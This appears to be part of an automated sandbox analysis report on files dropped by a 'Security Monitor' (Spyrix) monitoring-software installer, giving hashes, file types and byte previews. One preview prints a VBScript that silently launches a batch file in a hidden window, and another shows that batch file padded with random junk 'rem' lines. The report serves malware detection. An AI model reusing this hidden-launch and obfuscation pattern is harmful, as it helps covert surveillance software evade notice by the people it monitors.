Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset162\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Ro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\screenshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	43858
Entropy (8bit):	5.1066210164319585
Encrypted:	false
SSDEEP:	768:TLmrs4sw9FmdVFroAWBmho4cnTseR4Jv6YfpgC/z3OgwXG6I7:TL4w3OgwXG6I7
MD5:	47A87D6CE96B1DCA2C609A778373485D
SHA1:	15823BE17A06C6C57EBAF6D0E55F56EBF0EFE98F
SHA-256:	9276B70DE54E2675E72A84AE277563D4518A0DC56565379378A7CC3B10488697
SHA-512:	D717567ED8C4A25270312E31F2481241A9B164B8A04D19C68A1BF3F9BD8890F99C3A0F4A76AFD6A4A24208F1BE16D9F10FCEEB36099828FCD3F35AC8E92C498E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset162\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Ro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\settings.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	50542
Entropy (8bit):	5.082123818083202
Encrypted:	false
SSDEEP:	768:0LMrbAKeJcmz0s4ieSRukoMV8SLpmo8uSYSyWBKnObct3/nf4qY3BtHn+/z3Ogwa:08A7YM3OgwXG6I5
MD5:	8375A1338E343C284BB1EA8461B16EF5
SHA1:	5329FB0F5AFB566177F45FE49A7FF0411571CB6C
SHA-256:	6024A7AA29911E5D8670FC1028749D736D95115AA89E07DC00C823E68101B032
SHA-512:	98D1213836A17D44072B11488BF9FB5DF408A3B7E1D0EED7CAE13C3C6DDEF09EE52C613C20C7277410BAFD57644A88B4EF9286B9BB5D31C79DB6E9D30F4317AF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\siteblock.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	41095
Entropy (8bit):	5.105004070141461
Encrypted:	false
SSDEEP:	768:0LMrbpuh4puRkAzKqCV9mdecy46Xo/zdUIpeabve:08pxnmdq46IdUIpeabve
MD5:	90E7A977D4DF30B041F323B8039EC7CF
SHA1:	792587C64C654021CEBEC446E6DDB08A49D1B2DA
SHA-256:	F7E70A032DFF7371ADB12C85526C4A5F75F8B4C381EAC028873B8DB8AC0F77B3
SHA-512:	E35BB3A910EB4D5CB2249E3833A02C41153EB88B02C5FC949B4FFE7C0F6CF436F2BEB977670FF1155F89774C2499C15453A468D3A094DF6370C02C0954E291A1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\snapshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	43496
Entropy (8bit):	5.1077571102439245
Encrypted:	false
SSDEEP:	768:TLmrs4sAvnoBVFroAWBmho4cnTseRIMXyTsx/z3OgwXG6I2:TL4P3OgwXG6I2
MD5:	FDD5D42614DC8C5255D6808F5FB9E756
SHA1:	462F1BE33F4DE680C46F27A2732136F2A96EFB29
SHA-256:	1615765F4CC8649F16975820F90F5FA6117F28CD97771021C8C8449B169B6DF7
SHA-512:	46CD50DDBE274A62EC6E9D8650A71C16D4B213E56700CDB5FDE6BB880CC2096BD21934BADD8B27076313E9F57DAE468F431674B7D55D65C59C4B0DEA6922307B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset162\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Ro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\sound.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	42485
Entropy (8bit):	5.10644966338614
Encrypted:	false
SSDEEP:	768:TLmrs4sAvnoBVFroAWBmho4cnTseR6NnE0/z3OgwXG6Iq:TL423OgwXG6Iq
MD5:	2F22B5B2B29308EFA8F83A2A7756F134
SHA1:	5AA36D0592B3A10518F28AFA7C65D338FD29B64E
SHA-256:	F19658BABB054B874513345E81C3F3294FABF41C2F1A35B245510E307F782A5C
SHA-512:	34902F5B360C5DA92E49B7C22D18250D504CF3186F229FADE902AFE617B3B13D47D0E8CB11B2423F8A1DA487B1140D96DCCB22613EE16D3ACB9BFB5DD72F1071
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset162\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Ro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\video.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	43564
Entropy (8bit):	5.107218209627063
Encrypted:	false
SSDEEP:	768:TLmrs4sAvnoBVFroAWBmho4cnTseRNoUCXap/z3OgwXG6Iu:TL4f3OgwXG6Iu
MD5:	1D227690D1B4A573597374FEDFC0E5A9
SHA1:	73BD11FEBB9219AD6FA0273AFF4B7440E594C3AA
SHA-256:	D795CFADCCA7514424BD9A335CB14C4AB410225B7A2628982BC9A33851E4DB3C
SHA-512:	BD589D52D6F12E9A02814C67DC52EBECC1EECBB3A686BBED7A25C9F65A8A1A7D5BF331DF61933CD0A4A383A80366867AA2890F371174F77FF4E4B153DD20ED17
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset162\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Ro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\websites.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	41048
Entropy (8bit):	5.100342903202798
Encrypted:	false
SSDEEP:	768:XFRfQuekVh+DiDhZ6jN3muIV3brtEeLUsQZZ6jNS23FmsZo7I1Jj:XYz0CyH1V
MD5:	830A25F0F0DD4201CEDCE5A71290F52B
SHA1:	7E8035CB05D3883857F729AD02FC772425DE859E
SHA-256:	02A019309A83F3E82D5231C7E1861F7A54FFDF8C55C0357DC8335E56D89A8806
SHA-512:	5F25190BE2A3C305113595C9517DC4CBDB7D6D6DE35B514C1E6F15AEC3BEDA831F6A600D5876262D93B93A40245A1599D0BFA5CAA37F94937C30E6B4ECB52EF5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1049\deflangfe1049\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f030202

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\logo.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 197 x 285, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	76673
Entropy (8bit):	7.9848305082884155
Encrypted:	false
SSDEEP:	1536:MAid3jb4CBlw8s1Q/03i/NRj/CWM9oLMqFAT5/EUx:MpoC/l703mx29ZwA9H
MD5:	3A12AA38DC04011E4267D84F9DF29A16
SHA1:	DB2B83756D27969D5701F20925A023B282B2212F
SHA-256:	16F1E3749736EC4BC63E0E64474FEDFED96468EE5901D1E3DADD3490C2B72380
SHA-512:	51A27A92771E6D2475A0B13965064A2C0BD4F9074E4CB344CBFFE046189F5B3A130321C7651C25F37BF66CF312D8A953B77FC4CE99F47C55A2FB63603D8CC47B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............."......sRGB.........gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....pHYs..........o.d...yIDATx^..t........$.L..43w.....,[.$..B.d.-...................]V.J.......Y_...y..?..O.~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~........<.j.q.......tq..K.Zu.V..>..}..}..........7.&~.b....5.js....x...T\.s.`-.w.............M.'........o.......4.#...._Z....GuSF7....]>.'.............n....;.../..>\|XN.<i.../...kr..u.u..sg.~...?.O?....B..)c....L...7o........+r....y..wO...._n.m.@.>..u......J?...\|.f....)...................t.....k......`.M.........o.....O......X.2.S......\|..G.....ic._.p.G..S^_s..}c..k..5...@..h..U.Z..-_S....\|..R.Ycy.+..2...}..cm..@................;..6;^M.....Yc.).......1.....$T..<...I...>W....k......(..-...p...'....S...\.........F7o..6~]...,(~........f.v.zat#.&....\|}.....O.4...K..,T.#.(9.........x.@.7...Mo......(-...c#...O.....EM.a..OB..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\main.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 7 icons, 256x256 with PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced, 32 bits/pixel, -128x-128, 32 bits/pixel
Category:	dropped
Size (bytes):	110709
Entropy (8bit):	3.109239298068923
Encrypted:	false
SSDEEP:	384:yy+9VgmfdFYGZaAvurTUh2Asjh74zcW3X0+JaRCBiwmXtmdP:A9OmlFYGZaAG06V74QWNaRCEfwP
MD5:	7E0A58E864F4BD416D0B62A8D90FEBFE
SHA1:	B23CDD7F9AEBF120582C2C2C246F17E846521CF9
SHA-256:	D91EB200D2E6623A83FA036C8446455B3D56067939C027AB83BF7957D6B5D5FF
SHA-512:	0AE59E850429F7BA30C787B38FDAEC896710F4BD4D12F749EFB6C79AE89070CAB24182E05E54BC6E8D2EFA8C29CC420B892A1A583C9AD9A7EA446F095F5E944D
Malicious:	false
Reputation:	unknown
Preview:	............ .o!..v......... .(....!..@@.... .(B...*..00.... ..%..5l.. .... .............. ............... .h........PNG........IHDR.............\r.f..!6IDATx...\|U....37+.DPvd.A..(T....V[[..$lj......E._....Zm.H.bm...........Ev..YC ..y.{M.k..r33.....~.p.9..<3.....z.h....0.[H.=%E..../\6...D......0,....aX.,.&..X.L.a.......`.0.....`".....D......0,....aX.,.&..X.L.a.......`.0.....`".....D......0,....aX.,.&..X.L.a.......`.0.....`".....D......0,.... ..e....D.y4X...@.z1..s.b&..GX.CZ9.........DN...3A.....p......a.X........,..GX..`.0>..........%X.....,..`\|..`....#,.K....a.X........,..GX..`.0>..........%X.....,..`\|..`....#,.K....a.X........,..GX..`.0>..........%X.....,..`\|..`....#,.K....a.X........,..GX..`.0>..........%X.....,..`\|..`....#,.K....a.X........,..GX..`.0>..........%X.....,...." . H).........,.?H(`.n`...;........ 4.....][..u.(..Z..#nXX..`...`...ye..._.TKA..0..0..D^...4.,.K...3\|..F..B`..._.z..r2......Nn&C.U`.X..`....>..wt?_...K}^[....U....9..[X.X..`......_,.....s.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\offer.url (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows 95 Internet shortcut text (URL=<"http://www.spyrix.com/spyrix-products.php?from=sfk_install">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	88
Entropy (8bit):	4.920531868608183
Encrypted:	false
SSDEEP:	3:HRAbABGQYmjziJS40dyTKWV7GGWyXKokJr:HRYFVmjzic40dyTKWV7WyuV
MD5:	5691CB02970E3D46042CD411DDD33C42
SHA1:	5F98A89B9505821B32D1A9B9362A9A8881DF2790
SHA-256:	9C16F6639225765BAA8F23C7B37724B0B3E4837B41F90F612C81AEEDDE79CF68
SHA-512:	A36A6B642A23CA333055602214253D4616FB94CEFC3A89614AE8FD314D93E7887B4FDFD394C9D60BA1474A5AE4EF45EE5639E0F84197FBD4D25CE896FDEB29A6
Malicious:	false
Reputation:	unknown
Preview:	[InternetShortcut]..URL="http://www.spyrix.com/spyrix-products.php?from=sfk_install"....

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.cmd (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with very long lines (382), with CRLF line terminators
Category:	dropped
Size (bytes):	44330
Entropy (8bit):	5.402734283969903
Encrypted:	false
SSDEEP:	768:7YLAdR2Vq+XlkbR/JrZrxvBl+EODixVDJjAn4s1QwwwSQffUVzdQWrCZvbXXMs:ULAf2Y+0N5yEOD2DtA4VBaHUVhNChLXR
MD5:	9EF476730ADA792F79ECEC1A17B353DA
SHA1:	1CC1EE286B1AF1612B5C841C446487C8A886FCDE
SHA-256:	93C5A3C337F6377B97960E9EF502B49DBA8B74E1110FB91C87753DF9F512BCC2
SHA-512:	2ADCF1A5BF4C48F37D7CA19868168D5A455A4C259E6DB05958985A5077E5E4AB86E4E3CC5B44FB07D437B1FEAB9FB27C44E2E79F234816B1B49FE2A02BA98054
Malicious:	false
Reputation:	unknown
Preview:	rem gibtqhekf39mgpqap5pxyt2te17k9o7aapwwaxt2uqh9r9ulftm2bkrq1rgk6jho47nxpwejvsj5zxyatyx7v10hl8l8zdaf84vopfithjvmoz48uzg6bg2u..@echo off..rem x2bd8l07ny0pa06la0e5iujfktvb2pxkx20nj52l1zmdoo23hxvkc75pexdzdn0b48fkj0..rem maux0ukutdxt9tbb88k0q2i09t1216lj0qg09sa93u3yvhcp5l51f7aitf1chki5hkjy0c2td23wx9rl9c0y7patqsuftpcx6y0cf1..rem jcqykl0xdea3l63f01mzzek33rov71ykztdzp1wr677iyor7b9ytvp0sxzz0djpcbkrxol0lo2i86lrilpiuhyjnt0cn703qe4rj5xdw2wplwh0dxqnxwkf4..@chcp 65001..rem 90iuh7dibiwuy7yq2e2b2gy600lp47nfpilcfpieauuxvqyrwylx0n50fr2q5azxth0wgzvsbpjk2v..rem z3dfn3scjmyjo9a3frstejhv4ek1ju057o08jay6c2t2fb3ighivzzze3paxxxvd08uxu0eur0a02d8uak0m340rcn0b4fy5bhw36l3jsplk87..rem yszm15xv7y41j1jfecxaynqd0nrzl5pl0pl8sfyxf5zsc299itmk98beo4ie8buu90i7kn760wm62breujvtlwr500gratijbkx0ihkz51gpsm3rzi0p1t0b..@rem UTF-8 encoding..rem c5bsy9uclhsu8v2ionuxjz8..rem kyq0rsrtz3j0lepwuipik3cwyqc36oeagz62c0z7jp2h1ttg00c0n35tfkqiwxxijqj7cxy0q7t7b730ygponok8zdjjlkfgl6omw0pezkdoof9t..rem jnag4uwbmfqgh7y8t4uz46lf5zj18z3s00h2mdyyms

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	225
Entropy (8bit):	4.8759757685468275
Encrypted:	false
SSDEEP:	6:j+q9NqhVIZ3WGpDSRR26RuBFCOoVgfBbtLFu:Kqahm5WGDS3vuvCO0Yq
MD5:	BDFC59070BFBBB84ED2FB09198896A81
SHA1:	D8C6E3A0E847199D16DC237C7BEC47A4148EB3D6
SHA-256:	033C50986AD34B15E737466398CF5E06116E560251040899871D97EC33E03B47
SHA-512:	DAEAEEDB6744464E6B524EACE531B902A066BA2E643F7626142D9444F070261EC9B0D6C4EA4A4C9874646A951D62B2D218B0ACC48E0FAFCF5CB9DEA0CF661E96
Malicious:	false
Reputation:	unknown
Preview:	Set objShell = CreateObject("WScript.Shell")..Dim FilePath..FilePath = WScript.ScriptFullName..FilePath = Left(FilePath, Len(FilePath) - 10)..objShell.CurrentDirectory = FilePath..objShell.Run "cmd.exe /c plist.cmd", 0, False

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	3588216
Entropy (8bit):	6.632180080317583
Encrypted:	false
SSDEEP:	98304:Q61JrfvgRnMoHNNbwH3MhrHAGeEyU/4BiCklNl5tj0Qh+Pw/YlAKGC9eX2nuZHz7:/rfvgRMoHNNbwH3eTeEyU/4BiCklNl5D
MD5:	D9EA512EE580ECFFEE587A4C3759527F
SHA1:	B91480398B8820436B6634421D5AF628E482B890
SHA-256:	4C493F7DC51A50BBE139993CDB1267DD1F7A33020DF9075ECD7D28FDCE9EC63F
SHA-512:	BA212D929E7EE9478FF141F36950673EABCB31F71C39818D3F6A0A6F7AB57E2676445D815BAF6BC5F97477B4C8D6CBCC07F8051B87CFE800924064B5989CE7C4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Z\..................(...6..:............(...@..........................07.....\|.7...@... ......................P5.1....`5.......5.X.............6.x.....5..\|............................4.....................0e5.\|............................text.....(.......(.................`..`.data....=....(..>....(.............@.`..rdata....... ).......).............@.`@.bss.....9....5.......................`..edata..1....P5.......5.............@.0@.idata.......`5.. ....5.............@.0..CRT....4.....5......(5.............@.0..tls..........5......*5.............@.0..rsrc...X.....5......,5.............@.0..reloc...\|....5..~...45.............@.0B................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sgw.m (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=7, xresolution=98, yresolution=106, resolutionunit=2, software=paint.net 4.0.10], baseline, precision 8, 320x240, components 3
Category:	dropped
Size (bytes):	3095
Entropy (8bit):	6.729660321273714
Encrypted:	false
SSDEEP:	48:u8/Pc+/bx0uERAGX6j9UCqgD97QB2xdddddddddddddd5a:u8Hc+zlEJX6lQcW
MD5:	499B10F1F3AE7CA6ACFBA3735EE75F4C
SHA1:	D5CFC9E2DC00A443052765491A915A503EF9C800
SHA-256:	EAF22AE8407F8DD0AC9F4FA7885A2DA8AFE288B09B2C4B87F6F17C5D50F2A988
SHA-512:	F29D30CBB427598E8577606791AF3C8277391BBF1AD7964217EAF78B807A6DFC9B99846F128A5F23BE7A409A3F7DAD81F3E5FC9B2CD15C12742A98A45A7CDDB6
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`......Exif..MM..................b...........j.(...........1.........rQ...........Q...........Q..................`.......`....paint.net 4.0.10.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............************************************************........@.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\Air.skn (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	27663
Entropy (8bit):	7.90463581132329
Encrypted:	false
SSDEEP:	768:cMmPZ4Bc3LNhpK28BWmW0l2QbBwgx+9VBo7xXz9YAgx3p8:NmPZsEP9I2wBwrHOxXz61x3a
MD5:	C9A294C557F4CA094C11719AD8D7DEFC
SHA1:	3FEBA4F2A142FCC95C74F6FC0E520C4A369BB5A0
SHA-256:	EB1BE2B4FBA03260128E7EC0F5CDB8F4320E5D21AF40E7DD8EB956429B4AABEE
SHA-512:	1DB4E0649A2C2D8C75641BB9A374FC9B5A8CCD4D9336267D9FD1FA680EEE5DC48993910825303F4CEAD9FB3FD2D1814BAB39A21C1A5F74A7605E6555560B0181
Malicious:	false
Reputation:	unknown
